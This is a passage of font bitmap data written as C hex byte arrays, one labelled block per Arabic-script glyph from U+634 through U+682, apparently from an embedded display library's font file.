0x3, 0xf3, 0x0, 0x0, 0x0, 0x9, 0xd0, 0x6,
0xf3, 0x4, 0xf3, 0x5f, 0x10, 0x0, 0x6, 0xf3,
0xa, 0xf8, 0x6, 0xf1, 0xcb, 0x0, 0x0, 0x6,
0xfe, 0xbf, 0xcf, 0xbf, 0xc0, 0xe8, 0x0, 0x0,
0x9, 0xfc, 0xfa, 0x1a, 0xfb, 0x10, 0xf8, 0x0,
0x0, 0x3f, 0xa0, 0x0, 0x0, 0x0, 0x0, 0xbe,
0x52, 0x27, 0xfe, 0x20, 0x0, 0x0, 0x0, 0x0,
0x2d, 0xff, 0xff, 0xb2, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x24, 0x41, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0,
/* U+634 "ش" */
0x0, 0x0, 0x0, 0x0, 0x3, 0xe0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x20, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x3e, 0x4e,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2,
0x2, 0x0, 0x1, 0x61, 0x0, 0x0, 0x0, 0x2,
0x10, 0x0, 0x20, 0x3, 0xf3, 0x0, 0x0, 0x0,
0xc, 0x90, 0x5, 0xf2, 0x3, 0xf3, 0x1, 0x0,
0x0, 0x8, 0xd0, 0x6, 0xf3, 0x4, 0xf2, 0x6f,
0x10, 0x0, 0x6, 0xf3, 0xa, 0xf9, 0x7, 0xf1,
0xca, 0x0, 0x0, 0x6, 0xff, 0xbf, 0xcf, 0xbf,
0xb0, 0xe8, 0x0, 0x0, 0xa, 0xfc, 0xfa, 0x1a,
0xfb, 0x10, 0xe8, 0x0, 0x0, 0x4f, 0xa0, 0x0,
0x0, 0x0, 0x0, 0xbe, 0x52, 0x27, 0xfe, 0x20,
0x0, 0x0, 0x0, 0x0, 0x2d, 0xff, 0xff, 0xb2,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x24, 0x41,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
/* U+635 "ص" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0xaf,
0xfc, 0x30, 0x0, 0x0, 0x0, 0x0, 0x0, 0x3e,
0xd6, 0x5c, 0xe0, 0x0, 0x0, 0x0, 0xa, 0x43,
0xfb, 0x0, 0x5, 0xf1, 0x4e, 0x10, 0x0, 0xc,
0xce, 0xc0, 0x0, 0x2d, 0xf0, 0xac, 0x0, 0x0,
0xa, 0xff, 0x87, 0x8b, 0xff, 0x50, 0xd9, 0x0,
0x0, 0xb, 0xde, 0xff, 0xed, 0x81, 0x0, 0xf7,
0x0, 0x0, 0xd, 0x90, 0x0, 0x0, 0x0, 0x0,
0xe8, 0x0, 0x0, 0x5f, 0x50, 0x0, 0x0, 0x0,
0x0, 0x9f, 0x63, 0x28, 0xfd, 0x0, 0x0, 0x0,
0x0, 0x0, 0x1c, 0xff, 0xff, 0xa1, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x13, 0x41, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0,
/* U+636 "ض" */
0x0, 0x0, 0x0, 0x0, 0xe, 0x20, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0xaf,
0xfc, 0x30, 0x0, 0x0, 0x0, 0x0, 0x0, 0x3e,
0xd6, 0x5c, 0xe0, 0x0, 0x0, 0x0, 0xa, 0x43,
0xfb, 0x0, 0x5, 0xf1, 0x4e, 0x10, 0x0, 0xc,
0xce, 0xc0, 0x0, 0x2d, 0xf0, 0xac, 0x0, 0x0,
0xa, 0xff, 0x87, 0x8b, 0xff, 0x50, 0xd9, 0x0,
0x0, 0xb, 0xde, 0xff, 0xed, 0x81, 0x0, 0xf7,
0x0, 0x0, 0xd, 0x90, 0x0, 0x0, 0x0, 0x0,
0xe8, 0x0, 0x0, 0x5f, 0x50, 0x0, 0x0, 0x0,
0x0, 0x9f, 0x63, 0x28, 0xfd, 0x0, 0x0, 0x0,
0x0, 0x0, 0x1c, 0xff, 0xff, 0xa1, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x13, 0x41, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0,
/* U+637 "ط" */
0x0, 0xf, 0x70, 0x0, 0x0, 0x0, 0x0, 0x0,
0xf7, 0x0, 0x0, 0x0, 0x0, 0x0, 0xf, 0x70,
0x0, 0x0, 0x0, 0x0, 0x0, 0xf7, 0x0, 0x0,
0x0, 0x0, 0x0, 0xf, 0x70, 0x0, 0x0, 0x0,
0x0, 0x0, 0xf7, 0x0, 0x0, 0x0, 0x0, 0x0,
0xf, 0x70, 0x6, 0xdf, 0xf9, 0x0, 0x0, 0xf7,
0xb, 0xfa, 0x46, 0xf7, 0x0, 0xf, 0x7b, 0xf6,
0x0, 0xc, 0xa0, 0x0, 0xfd, 0xf5, 0x0, 0x6,
0xf8, 0x67, 0x7f, 0xfd, 0x77, 0x9d, 0xfc, 0x1e,
0xff, 0xff, 0xff, 0xfe, 0xb5, 0x0,
/* U+638 "ظ" */
0x0, 0xf, 0x70, 0x0, 0x0, 0x0, 0x0, 0x0,
0xf7, 0x0, 0x0, 0x0, 0x0, 0x0, 0xf, 0x70,
0x0, 0x0, 0x0, 0x0, 0x0, 0xf7, 0x0, 0x0,
0x0, 0x0, 0x0, 0xf, 0x70, 0x5c, 0x0, 0x0,
0x0, 0x0, 0xf7, 0x1, 0x20, 0x0, 0x0, 0x0,
0xf, 0x70, 0x6, 0xdf, 0xf9, 0x0, 0x0, 0xf7,
0xb, 0xfa, 0x46, 0xf7, 0x0, 0xf, 0x7b, 0xf6,
0x0, 0xc, 0xa0, 0x0, 0xfd, 0xf5, 0x0, 0x6,
0xf8, 0x67, 0x7f, 0xfd, 0x77, 0x9d, 0xfc, 0x1e,
0xff, 0xff, 0xff, 0xfe, 0xb5, 0x0,
/* U+639 "ع" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x8, 0xef,
0x20, 0x0, 0x0, 0xce, 0x75, 0x0, 0x0, 0x4,
0xf2, 0x0, 0x0, 0x0, 0x4, 0xf4, 0x26, 0xbd,
0x0, 0x0, 0xaf, 0xff, 0xd9, 0x0, 0x0, 0xbf,
0x92, 0x0, 0x0, 0x9, 0xf4, 0x0, 0x0, 0x0,
0xf, 0x80, 0x0, 0x0, 0x0, 0xf, 0x50, 0x0,
0x0, 0x0, 0xe, 0x90, 0x0, 0x0, 0x0, 0x6,
0xf9, 0x31, 0x13, 0x95, 0x0, 0x6d, 0xff, 0xff,
0xd3, 0x0, 0x0, 0x13, 0x31, 0x0,
/* U+63A "غ" */
0x0, 0xf, 0x10, 0x0, 0x0, 0x0, 0x2, 0x0,
0x0, 0x0, 0x0, 0x8, 0xef, 0x20, 0x0, 0x0,
0xce, 0x75, 0x0, 0x0, 0x4, 0xf2, 0x0, 0x0,
0x0, 0x4, 0xf4, 0x26, 0xbd, 0x0, 0x0, 0xaf,
0xff, 0xd9, 0x0, 0x0, 0xbf, 0x92, 0x0, 0x0,
0x9, 0xf4, 0x0, 0x0, 0x0, 0xf, 0x80, 0x0,
0x0, 0x0, 0xf, 0x50, 0x0, 0x0, 0x0, 0xe,
0x90, 0x0, 0x0, 0x0, 0x6, 0xf9, 0x31, 0x13,
0x95, 0x0, 0x6d, 0xff, 0xff, 0xd3, 0x0, 0x0,
0x13, 0x31, 0x0,
/* U+640 "ـ" */
0x17, 0x77, 0x75, 0x2f, 0xff, 0xfd,
/* U+641 "ف" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x1f, 0x10, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x20, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0xa, 0xfd, 0x20, 0x0, 0x0,
0x0, 0x0, 0x9, 0xf9, 0xee, 0x0, 0x0, 0x0,
0x0, 0x0, 0xda, 0x5, 0xf3, 0x0, 0x0, 0x0,
0x0, 0xc, 0xd1, 0x8f, 0x3b, 0xa0, 0x0, 0x0,
0x0, 0x4f, 0xfe, 0xf1, 0xf8, 0x0, 0x0, 0x0,
0x0, 0x3, 0xbc, 0xb, 0xf8, 0x32, 0x12, 0x24,
0x6a, 0xfe, 0x20, 0x9, 0xff, 0xff, 0xff, 0xff,
0xc7, 0x0, 0x0, 0x0, 0x24, 0x44, 0x31, 0x0,
0x0, 0x0,
/* U+642 "ق" */
0x0, 0x0, 0x0, 0x5c, 0x6c, 0x0, 0x0, 0x0,
0x0, 0x2, 0x12, 0x0, 0x0, 0x0, 0x0, 0x1b,
0xfc, 0x10, 0x0, 0x0, 0x0, 0xaf, 0x9e, 0xa0,
0x0, 0x0, 0x0, 0xf9, 0x7, 0xf0, 0x0, 0x0,
0x0, 0xdc, 0x19, 0xf2, 0x3, 0x50, 0x0, 0x5f,
0xfe, 0xf3, 0xc, 0x90, 0x0, 0x1, 0x24, 0xf1,
0xf, 0x50, 0x0, 0x0, 0x9, 0xd0, 0x2f, 0x40,
0x0, 0x0, 0x3f, 0x60, 0xf, 0x70, 0x0, 0x4,
0xeb, 0x0, 0xb, 0xe5, 0x35, 0xaf, 0xb0, 0x0,
0x1, 0xdf, 0xff, 0xe7, 0x0, 0x0, 0x0, 0x3,
0x43, 0x0, 0x0, 0x0,
/* U+643 "ك" */
0x0, 0x0, 0x0, 0x0, 0xe, 0x90, 0x0, 0x0,
0x0, 0x0, 0xe9, 0x0, 0x0, 0x0, 0x0, 0xe,
0x90, 0x0, 0x2, 0x96, 0x0, 0xe9, 0x0, 0x0,
0x76, 0x0, 0xe, 0x90, 0x0, 0x0, 0x58, 0x0,
0xe9, 0x0, 0x2, 0xab, 0x20, 0xe, 0x90, 0x0,
0x0, 0x0, 0x0, 0xe8, 0x54, 0x0, 0x0, 0x0,
0xf, 0x7d, 0xa0, 0x0, 0x0, 0x9, 0xf3, 0x8f,
0xb7, 0x55, 0x8e, 0xf8, 0x0, 0x5c, 0xef, 0xfe,
0xb4, 0x0,
/* U+644 "ل" */
0x0, 0x0, 0x0, 0x4, 0xf3, 0x0, 0x0, 0x0,
0x4, 0xf3, 0x0, 0x0, 0x0, 0x4, 0xf3, 0x0,
0x0, 0x0, 0x4, 0xf3, 0x0, 0x0, 0x0, 0x4,
0xf3, 0x0, 0x0, 0x0, 0x4, 0xf3, 0x0, 0x0,
0x0, 0x4, 0xf3, 0x0, 0x0, 0x0, 0x4, 0xf3,
0x0, 0x0, 0x0, 0x4, 0xf2, 0x36, 0x0, 0x0,
0x5, 0xf2, 0xcb, 0x0, 0x0, 0x8, 0xf0, 0xd9,
0x0, 0x0, 0x2e, 0xb0, 0x9f, 0x61, 0x37, 0xef,
0x20, 0xa, 0xff, 0xff, 0xa2, 0x0, 0x0, 0x13,
0x30, 0x0, 0x0,
/* U+645 "م" */
0x0, 0x2, 0x87, 0x10, 0x0, 0x2f, 0xff, 0xf3,
0x0, 0xae, 0x11, 0xea, 0x3, 0xdd, 0x32, 0xea,
0x5f, 0xbe, 0xff, 0xe3, 0xcb, 0x0, 0x23, 0x0,
0xea, 0x0, 0x0, 0x0, 0xea, 0x0, 0x0, 0x0,
0xea, 0x0, 0x0, 0x0, 0xea, 0x0, 0x0, 0x0,
/* U+646 "ن" */
0x0, 0x7, 0xa0, 0x0, 0x0, 0x0, 0x1, 0x10,
0x4, 0x50, 0x0, 0x0, 0x0, 0x5, 0xf2, 0x23,
0x0, 0x0, 0x1, 0xf6, 0xbc, 0x0, 0x0, 0x0,
0xf8, 0xda, 0x0, 0x0, 0x0, 0xf8, 0xc9, 0x0,
0x0, 0x3, 0xf5, 0xad, 0x0, 0x0, 0xa, 0xe0,
0x3f, 0xa4, 0x24, 0xaf, 0x60, 0x5, 0xef, 0xff,
0xe5, 0x0, 0x0, 0x3, 0x42, 0x0, 0x0,
/* U+647 "ه" */
0x0, 0x10, 0x0, 0x2, 0xef, 0xd5, 0x0, 0xae,
0x5a, 0xf7, 0xd, 0x90, 0x7, 0xf1, 0xe8, 0x0,
0x3f, 0x3b, 0xe6, 0x6d, 0xe0, 0x2b, 0xfe, 0x91,
0x0,
/* U+648 "و" */
0x0, 0x8, 0xed, 0x40, 0x0, 0x6f, 0xac, 0xf1,
0x0, 0x9e, 0x1, 0xf6, 0x0, 0x6f, 0xa6, 0xf7,
0x0, 0x8, 0xdf, 0xf7, 0x0, 0x0, 0x4, 0xf4,
0x0, 0x0, 0x2e, 0xe0, 0x12, 0x48, 0xef, 0x30,
0xaf, 0xff, 0xa2, 0x0, 0x34, 0x20, 0x0, 0x0,
/* U+649 "ى" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x6d, 0xfe, 0x70, 0x0, 0x0, 0x4f, 0x94, 0x7f,
0x40, 0x0, 0x5, 0xf7, 0x0, 0x10, 0x12, 0x0,
0x9, 0xfe, 0x80, 0xc, 0xa0, 0x0, 0x2, 0x7e,
0xb0, 0xf7, 0x0, 0x0, 0x0, 0xaf, 0xd, 0xc0,
0x0, 0x2, 0x9f, 0x90, 0x4f, 0xfc, 0xcf, 0xff,
0x90, 0x0, 0x28, 0xba, 0x85, 0x10, 0x0,
/* U+64A "ي" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x6d, 0xfe, 0x70, 0x0, 0x0, 0x4f, 0x94, 0x7f,
0x40, 0x0, 0x4, 0xf8, 0x10, 0x10, 0x24, 0x0,
0x8, 0xff, 0xa1, 0xc, 0xa0, 0x0, 0x0, 0x5e,
0xc0, 0xf7, 0x0, 0x0, 0x0, 0xbf, 0xb, 0xd1,
0x0, 0x4, 0xaf, 0x70, 0x1c, 0xfd, 0xef, 0xfb,
0x40, 0x0, 0x3, 0x55, 0x30, 0x0, 0x0, 0x0,
0x1f, 0x3f, 0x0, 0x0, 0x0, 0x0, 0x20, 0x20,
0x0, 0x0,
/* U+64B "ً" */
0x0, 0x0, 0x0, 0x5, 0x9c, 0xd3, 0x27, 0x41,
0x21, 0x17, 0xbd, 0xb2, 0x25, 0x20, 0x0,
/* U+64C "ٌ" */
0x0, 0x5d, 0x60, 0x0, 0xa7, 0xc0, 0x36, 0x1c,
0xe3, 0x2a, 0x1c, 0x10, 0x9, 0xc3, 0x0,
/* U+64D "ٍ" */
0x1, 0x48, 0xb3, 0x3c, 0x85, 0x10, 0x3, 0x6a,
0xd3, 0x3a, 0x63, 0x0,
/* U+64E "َ" */
0x0, 0x0, 0x21, 0x17, 0xbd, 0xb2, 0x25, 0x20,
0x0,
/* U+64F "ُ" */
0x0, 0x5d, 0x60, 0x0, 0xa7, 0xc0, 0x0, 0x3e,
0xe3, 0x1, 0x8b, 0x0, 0x3c, 0x60, 0x0,
/* U+650 "ِ" */
0x0, 0x14, 0x82, 0x3d, 0xc9, 0x50, 0x0, 0x0,
0x0,
/* U+651 "ّ" */
0x0, 0x0, 0x32, 0x12, 0x66, 0x56, 0x66, 0x67,
0x66, 0x66, 0x9c, 0xd3, 0x2e, 0x92, 0x30,
/* U+652 "ْ" */
0x5, 0xdd, 0x50, 0xe, 0x12, 0xe0, 0xe, 0x22,
0xe0, 0x5, 0xed, 0x50,
/* U+653 "ٓ" */
0x2a, 0x20, 0x28, 0x94, 0xbd, 0xa3, 0x0, 0x0,
0x0,
/* U+654 "ٔ" */
0x1b, 0xb1, 0x57, 0x0, 0x2e, 0xb3, 0x35, 0x20,
/* U+655 "ٕ" */
0x1b, 0xb1, 0x57, 0x0, 0x2e, 0xb3, 0x35, 0x20,
/* U+657 "ٗ" */
0x0, 0x5, 0xc3, 0x0, 0xa8, 0x10, 0x3e, 0xe3,
0x0, 0xc, 0x7a, 0x0, 0x6, 0xe5, 0x0,
/* U+65A "ٚ" */
0x7, 0x11, 0x70, 0x7, 0xaa, 0x70, 0x0, 0xdd,
0x0,
/* U+660 "٠" */
0x8f, 0x29, 0xf2,
/* U+661 "١" */
0xae, 0x0, 0x4f, 0x30, 0xe, 0x90, 0x9, 0xd0,
0x5, 0xf1, 0x2, 0xf4, 0x0, 0xf6, 0x0, 0xf6,
0x0, 0xf7, 0x0, 0xf7,
/* U+662 "٢" */
0x2f, 0x70, 0x0, 0xac, 0xc, 0xf7, 0x26, 0xf7,
0x6, 0xff, 0xff, 0xc0, 0x2, 0xf7, 0x33, 0x0,
0x0, 0xea, 0x0, 0x0, 0x0, 0xbc, 0x0, 0x0,
0x0, 0x9d, 0x0, 0x0, 0x0, 0x8e, 0x0, 0x0,
0x0, 0x7e, 0x0, 0x0, 0x0, 0x7e, 0x0, 0x0,
/* U+663 "٣" */
0x3f, 0x40, 0xf6, 0x4f, 0x20, 0xda, 0xf, 0x97,
0xf1, 0x7, 0xfd, 0xff, 0xfc, 0x0, 0x2f, 0x91,
0x33, 0x0, 0x0, 0xe9, 0x0, 0x0, 0x0, 0xb,
0xb0, 0x0, 0x0, 0x0, 0xac, 0x0, 0x0, 0x0,
0x9, 0xd0, 0x0, 0x0, 0x0, 0x8d, 0x0, 0x0,
0x0, 0x8, 0xe0, 0x0, 0x0,
/* U+664 "٤" */
0x0, 0x0, 0x0, 0x0, 0x2, 0x9e, 0x40, 0x4,
0xfd, 0x71, 0x0, 0xda, 0x0, 0x0, 0xa, 0xe4,
0x0, 0x0, 0x2e, 0xf6, 0x0, 0x1e, 0xd6, 0x10,
0x8, 0xe0, 0x0, 0x0, 0x8e, 0x0, 0x0, 0x3,
0xfb, 0x79, 0xd5, 0x5, 0xdf, 0xd9, 0x10,
/* U+665 "٥" */
0x0, 0x1, 0x0, 0x0, 0x1d, 0xf9, 0x0, 0xb,
0xd8, 0xf5, 0x3, 0xf4, 0xb, 0xc0, 0x8e, 0x0,
0x4f, 0x2c, 0xa0, 0x0, 0xf6, 0xe8, 0x0, 0xe,
0x8e, 0x80, 0x0, 0xe8, 0xcc, 0x0, 0x2f, 0x67,
0xfa, 0x8d, 0xf1, 0x8, 0xef, 0xd4, 0x0,
/* U+666 "٦" */
0x25, 0x21, 0x24, 0x40, 0x4f, 0xff, 0xff, 0xa0,
0x1, 0x34, 0x3c, 0xa0, 0x0, 0x0, 0xb, 0xb0,
0x0, 0x0, 0xa, 0xc0, 0x0, 0x0, 0x8, 0xe0,
0x0, 0x0, 0x7, 0xf0, 0x0, 0x0, 0x4, 0xf2,
0x0, 0x0, 0x2, 0xf5, 0x0, 0x0, 0x0, 0xf8,
0x0, 0x0, 0x0, 0xbc,
/* U+667 "٧" */
0x4f, 0x30, 0x0, 0xad, 0x0, 0xda, 0x0, 0x1f,
0x60, 0x6, 0xf1, 0x7, 0xe0, 0x0, 0x1f, 0x70,
0xd9, 0x0, 0x0, 0xbc, 0x2f, 0x40, 0x0, 0x5,
0xf9, 0xf0, 0x0, 0x0, 0x1f, 0xfb, 0x0, 0x0,
0x0, 0xdf, 0x70, 0x0, 0x0, 0x9, 0xf4, 0x0,
0x0, 0x0, 0x7f, 0x10, 0x0,
/* U+668 "٨" */
0x0, 0x7, 0xf1, 0x0, 0x0, 0x0, 0x9f, 0x40,
0x0, 0x0, 0xd, 0xf7, 0x0, 0x0, 0x1, 0xff,
0xb0, 0x0, 0x0, 0x5f, 0x9f, 0x0, 0x0, 0xb,
0xc2, 0xf4, 0x0, 0x1, 0xf6, 0xd, 0x90, 0x0,
0x6f, 0x10, 0x7e, 0x0, 0xd, 0xa0, 0x1, 0xf6,
0x4, 0xf3, 0x0, 0xa, 0xd0,
/* U+669 "٩" */
0x0, 0x0, 0x0, 0x0, 0x2, 0xcf, 0xf7, 0x0,
0xd, 0xc5, 0xaf, 0x40, 0x2f, 0x40, 0xd, 0x90,
0xe, 0xb4, 0x2b, 0xc0, 0x3, 0xdf, 0xff, 0xd0,
0x0, 0x2, 0x49, 0xf0, 0x0, 0x0, 0x5, 0xf2,
0x0, 0x0, 0x2, 0xf5, 0x0, 0x0, 0x0, 0xf8,
0x0, 0x0, 0x0, 0xbc,
/* U+66A "٪" */
0xd9, 0x0, 0xe, 0x4c, 0x80, 0x7, 0xc0, 0x0,
0x1, 0xe3, 0x0, 0x0, 0x8b, 0x0, 0x0, 0x1f,
0x30, 0x0, 0x9, 0xa0, 0x0, 0x2, 0xf2, 0x0,
0x0, 0xa9, 0x0, 0x0, 0x2f, 0x10, 0xe, 0x6b,
0x80, 0x0, 0xf7,
/* U+66B "٫" */
0x0, 0x6, 0x80, 0x0, 0x6c, 0x0, 0x8, 0xb0,
0x0, 0xc7, 0x0, 0x6f, 0x21, 0x7f, 0x60, 0xfe,
0x60, 0x2, 0x0, 0x0,
/* U+66C "٬" */
0xa, 0x70, 0xf9, 0x3f, 0x27, 0xa0,
/* U+66D "٭" */
0x0, 0x0, 0x20, 0x0, 0x0, 0x0, 0xb, 0x0,
0x0, 0x0, 0x5, 0xf1, 0x0, 0x0, 0x9f, 0xff,
0xff, 0x60, 0x0, 0x5f, 0xfe, 0x20, 0x0, 0x5,
0xfd, 0xf1, 0x0, 0x0, 0x94, 0x8, 0x50, 0x0,
0x0, 0x0, 0x0, 0x0,
/* U+66E "ٮ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x5, 0x5b, 0xb0,
0x0, 0x0, 0x0, 0x0, 0x9c, 0xf7, 0x0, 0x0,
0x0, 0x0, 0xc, 0xbd, 0xb0, 0x0, 0x0, 0x0,
0x2a, 0xf4, 0x5f, 0xd8, 0x66, 0x8a, 0xdf, 0xe5,
0x0, 0x3a, 0xef, 0xfe, 0xc9, 0x50, 0x0,
/* U+66F "ٯ" */
0x0, 0x0, 0x0, 0x1b, 0xfc, 0x10, 0x0, 0x0,
0x0, 0xaf, 0x9e, 0xa0, 0x0, 0x0, 0x0, 0xf9,
0x7, 0xf0, 0x0, 0x0, 0x0, 0xdc, 0x19, 0xf2,
0x3, 0x50, 0x0, 0x5f, 0xfe, 0xf3, 0xc, 0x90,
0x0, 0x1, 0x24, 0xf1, 0xf, 0x50, 0x0, 0x0,
0x9, 0xd0, 0x2f, 0x40, 0x0, 0x0, 0x3f, 0x60,
0xf, 0x70, 0x0, 0x4, 0xeb, 0x0, 0xb, 0xe5,
0x35, 0xaf, 0xb0, 0x0, 0x1, 0xdf, 0xff, 0xe7,
0x0, 0x0, 0x0, 0x3, 0x43, 0x0, 0x0, 0x0,
/* U+670 "ٰ" */
0x33, 0x67, 0x67, 0x67, 0x67,
/* U+674 "ٴ" */
0x8, 0xc5, 0xc, 0x0, 0xc, 0xc7, 0x6, 0x30,
/* U+679 "ٹ" */
0x0, 0x0, 0x23, 0x0, 0x0, 0x0, 0x0, 0x0,
0x5, 0x70, 0x0, 0x0, 0x0, 0x0, 0x0, 0x57,
0x66, 0x0, 0x0, 0x0, 0x0, 0x5, 0xe7, 0xe0,
0x0, 0x0, 0x0, 0x0, 0xbb, 0xa6, 0x0, 0x1,
0x18, 0x90, 0x0, 0x0, 0x0, 0x0, 0x9c, 0xe7,
0x0, 0x0, 0x0, 0x0, 0xb, 0xce, 0xa0, 0x0,
0x0, 0x0, 0x18, 0xf6, 0x6f, 0xd8, 0x66, 0x7a,
0xcf, 0xf7, 0x0, 0x4a, 0xef, 0xfe, 0xc9, 0x61,
0x0,
/* U+67A "ٺ" */
0x0, 0x0, 0x8, 0x90, 0x0, 0x0, 0x0, 0x0,
0x0, 0x11, 0x0, 0x0, 0x0, 0x0, 0x0, 0x8,
0x90, 0x0, 0x0, 0x5, 0x70, 0x0, 0x11, 0x0,
0x0, 0x9c, 0xe8, 0x0, 0x0, 0x0, 0x0, 0xb,
0xce, 0xa0, 0x0, 0x0, 0x0, 0x7, 0xf7, 0x7f,
0xd8, 0x66, 0x79, 0xcf, 0xf8, 0x0, 0x4a, 0xef,
0xfe, 0xc9, 0x61, 0x0,
/* U+67B "ٻ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x5, 0x5b, 0xb0,
0x0, 0x0, 0x0, 0x0, 0x9c, 0xf7, 0x0, 0x0,
0x0, 0x0, 0xc, 0xbd, 0xb0, 0x0, 0x0, 0x0,
0x2a, 0xf4, 0x5f, 0xd8, 0x66, 0x8a, 0xdf, 0xe5,
0x0, 0x3a, 0xef, 0xfe, 0xc9, 0x50, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x89, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x10,
0x0, 0x0, 0x0, 0x0, 0x0, 0x89, 0x0, 0x0,
0x0, 0x0, 0x0, 0x1, 0x10, 0x0, 0x0, 0x0,
/* U+67C "ټ" */
0x0, 0x0, 0x8a, 0x99, 0x0, 0x0, 0x5, 0x70,
0x1, 0x11, 0x10, 0x0, 0x9c, 0xe8, 0x0, 0x0,
0x0, 0x0, 0xb, 0xce, 0xa0, 0x0, 0x0, 0x0,
0x7, 0xf7, 0x7f, 0xd8, 0x66, 0x79, 0xcf, 0xf8,
0x0, 0x4a, 0xef, 0xff, 0xd9, 0x61, 0x0, 0x0,
0x0, 0x87, 0x69, 0x0, 0x0, 0x0, 0x0, 0x9,
0x76, 0xa0, 0x0, 0x0, 0x0, 0x0, 0x2d, 0xd3,
0x0, 0x0, 0x0,
/* U+67D "ٽ" */
0x0, 0x0, 0x8a, 0x99, 0x0, 0x0, 0x0, 0x0,
0x1, 0x11, 0x10, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x5, 0x60, 0x0, 0x89, 0x0,
0x0, 0x9b, 0xe8, 0x0, 0x0, 0x0, 0x0, 0xb,
0xce, 0xa0, 0x0, 0x0, 0x0, 0x7, 0xf7, 0x7f,
0xd8, 0x66, 0x79, 0xcf, 0xf8, 0x0, 0x4a, 0xef,
0xfe, 0xc9, 0x61, 0x0,
/* U+67E "پ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x5, 0x5b, 0xb0,
0x0, 0x0, 0x0, 0x0, 0x9c, 0xf7, 0x0, 0x0,
0x0, 0x0, 0xc, 0xbd, 0xb0, 0x0, 0x0, 0x0,
0x2a, 0xf4, 0x5f, 0xd8, 0x66, 0x8a, 0xdf, 0xe5,
0x0, 0x3a, 0xef, 0xfe, 0xc9, 0x50, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x8,
0xa9, 0x90, 0x0, 0x0, 0x0, 0x0, 0x11, 0x11,
0x0, 0x0, 0x0, 0x0, 0x0, 0x89, 0x0, 0x0,
0x0, 0x0, 0x0, 0x1, 0x10, 0x0, 0x0, 0x0,
/* U+67F "ٿ" */
0x0, 0x0, 0x8a, 0x99, 0x0, 0x0, 0x0, 0x0,
0x1, 0x11, 0x10, 0x0, 0x0, 0x0, 0x0, 0x8a,
0x99, 0x0, 0x0, 0x5, 0x70, 0x1, 0x11, 0x10,
0x0, 0x9c, 0xe8, 0x0, 0x0, 0x0, 0x0, 0xb,
0xce, 0xa0, 0x0, 0x0, 0x0, 0x7, 0xf7, 0x7f,
0xd8, 0x66, 0x79, 0xcf, 0xf8, 0x0, 0x4a, 0xef,
0xfe, 0xc9, 0x61, 0x0,
/* U+680 "ڀ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x5, 0x5b, 0xb0,
0x0, 0x0, 0x0, 0x0, 0x9c, 0xf7, 0x0, 0x0,
0x0, 0x0, 0xc, 0xbd, 0xb0, 0x0, 0x0, 0x0,
0x2a, 0xf4, 0x5f, 0xd8, 0x66, 0x8a, 0xdf, 0xe5,
0x0, 0x3a, 0xef, 0xfe, 0xc9, 0x50, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x8,
0xa9, 0x90, 0x0, 0x0, 0x0, 0x0, 0x11, 0x11,
0x0, 0x0, 0x0, 0x0, 0x8, 0xa9, 0x90, 0x0,
0x0, 0x0, 0x0, 0x11, 0x11, 0x0, 0x0, 0x0,
/* U+681 "ځ" */
0x0, 0xa, 0xc2, 0x0, 0x0, 0x0, 0x38, 0x0,
0x0, 0x0, 0x0, 0x1e, 0xa4, 0x0, 0x0, 0x0,
0x38, 0x40, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x9e, 0xed, 0xff, 0xe9, 0x0, 0x41, 0x3d,
0xe8, 0x41, 0x0, 0x3, 0xfa, 0x0, 0x0, 0x0,
0xc, 0xc0, 0x0, 0x0, 0x0, 0x3f, 0x30, 0x0,
0x0, 0x0, 0x6f, 0x0, 0x0, 0x0, 0x0, 0x5f,
0x10, 0x0, 0x0, 0x0, 0x1f, 0x80, 0x0, 0x0,
0x0, 0x8, 0xf9, 0x31, 0x14, 0x94, 0x0, 0x6d,
0xff, 0xff, 0xc2, 0x0, 0x0, 0x13, 0x31, 0x0,
/* U+682 "ڂ" */
0x0, 0x7, 0xa0, 0x0, 0x0, 0x0, 0x1, 0x10,
0x0, 0x0, 0x0, 0x7, 0xa0, 0x0, 0x0, 0x0,
0x1, 0x10, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x9e, 0xed, 0xff, 0xe9, 0x0, 0x41, 0x3d,
0xe8, 0x41, 0x0, 0x3, 0xfa, 0x0, 0x0, 0x0,
0xc, 0xc0, 0x0, 0x0, 0x0, 0x3f, 0x30, 0x0,
0x0, 0x0, 0x6f, 0x0, 0x0, 0x0, 0x0, 0x5f,
0x10, 0x0, 0x0, 0x0, 0x1f, 0x80, 0x0, 0x0,
0x0, 0x8, 0xf9, 0x31, 0x14, 0x94, 0x0, 0x6d,
